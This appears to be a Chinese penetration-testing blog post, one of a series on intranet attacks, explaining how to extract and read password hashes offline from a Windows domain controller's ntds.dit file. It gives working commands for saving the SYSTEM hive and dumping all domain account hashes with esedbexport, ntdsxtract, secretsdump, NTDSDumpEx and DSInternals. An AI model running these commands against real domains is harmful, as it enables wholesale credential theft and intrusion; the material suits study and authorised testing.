系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取
内网渗透(二十七)之Windows协议认证和密码抓取-Windows其他类型抓取NTLM HASH工具
内网渗透(二十八)之Windows协议认证和密码抓取-Windows RDP凭证的抓取和密码破解
内网渗透(二十九)之Windows协议认证和密码抓取-Windows-2012R2之后抓取密码的方式和抓取密码的防范措施
系列文章第四章节之横向移动篇
内网渗透(三十)之横向移动篇-利用远控工具向日葵横向移动
内网渗透(三十一)之横向移动篇-利用远控工具todesk横向移动
内网渗透(三十二)之横向移动篇-利用远控工具GoToHTTP横向移动
内网渗透(三十三)之横向移动篇-利用远控工具RustDESK横向移动
内网渗透(三十四)之横向移动篇-IPC配合计划任务横向移动
内网渗透(三十五)之横向移动篇-IPC配合系统服务横向移动
内网渗透(三十六)之横向移动篇-Password Spraying密码喷洒攻击和域内用户枚举横向移动
内网渗透(三十七)之横向移动篇-Pass the Hash 哈希传递攻击(PTH)横向移动
内网渗透(三十八)之横向移动篇-pass the key 密钥传递攻击(PTK)横向攻击
内网渗透(三十九)之横向移动篇-pass the ticket 票据传递攻击(PTT)横向攻击
内网渗透(四十)之横向移动篇-ms14-068传递获取域管横向移动
内网渗透(四十一)之横向移动篇-PsExec工具远程命令执行横向移动
内网渗透(四十二)之横向移动篇-WMIC远程执行命令横向移动
内网渗透(四十三)之横向移动篇-SMB远程执行命令横向移动
内网渗透(四十四)之横向移动篇-DCOM远程执行命令横向移动
内网渗透(四十五)之横向移动篇-WinRM远程执行命令横向移动
内网渗透(四十六)之横向移动篇-使用系统漏洞ms17010横向移动
系列文章第五章节之域控安全和跨域攻击篇
内网渗透(四十七)之域控安全和跨域攻击-多种方式提取和移动ntds.dit文件
内网渗透(四十八)之域控安全和跨域攻击-多种方式在线读取ntds.dit文件中的hash值
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
离线方式读取ntds.dit文件
离线一般需要两步:
1、将远端域控的ntds.dit下载到本地
2、然后利用再在本地进行
注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看ntds.dit 里内容
命令如下:
reg save hklm\system c:\windows\temp\system.hive
我们需要如上两个文件
下面介绍几种方式离线读取ntds.dit文件
esedbexport
1、以kali为例子,安装esedbexport
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedbexperimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig
2、将ntds.dit文件放入libesedb-20210424文件夹内,导出 ntds.dit,两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中
esedbexport -m tables ntds.dit
3、安装 ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install
如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome
4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt 里
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt
impacket
将 ntds.dit.export 和 SYSTEM 文件还有ntds.dit放入到 和secretsdump.exe 同级目录下
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NTDSDump.exe
NTDSDumpEx.exe 可以进行导出哈希值的操作
提示如果出现:
[x]error at JetAttachDatabase()
[x]can not load database: JET_errDatabaseDirtyShutdown, Database was not shutdown cleanly. Recovery must first be run to properly complete database operations for the previous shutdown.
请执行以下命令修复数据库
esentutl /p /o ntds.dit
ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hive
DSInternals
DSInternals是powershell脚本,可以离线读取ntds文件
安装DSInternals
Install-Module DSInternals -Force
导出 hash,并保存在 txt 文件里
$key = Get-Bootkey -SystemHivePath 'system路径'
Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt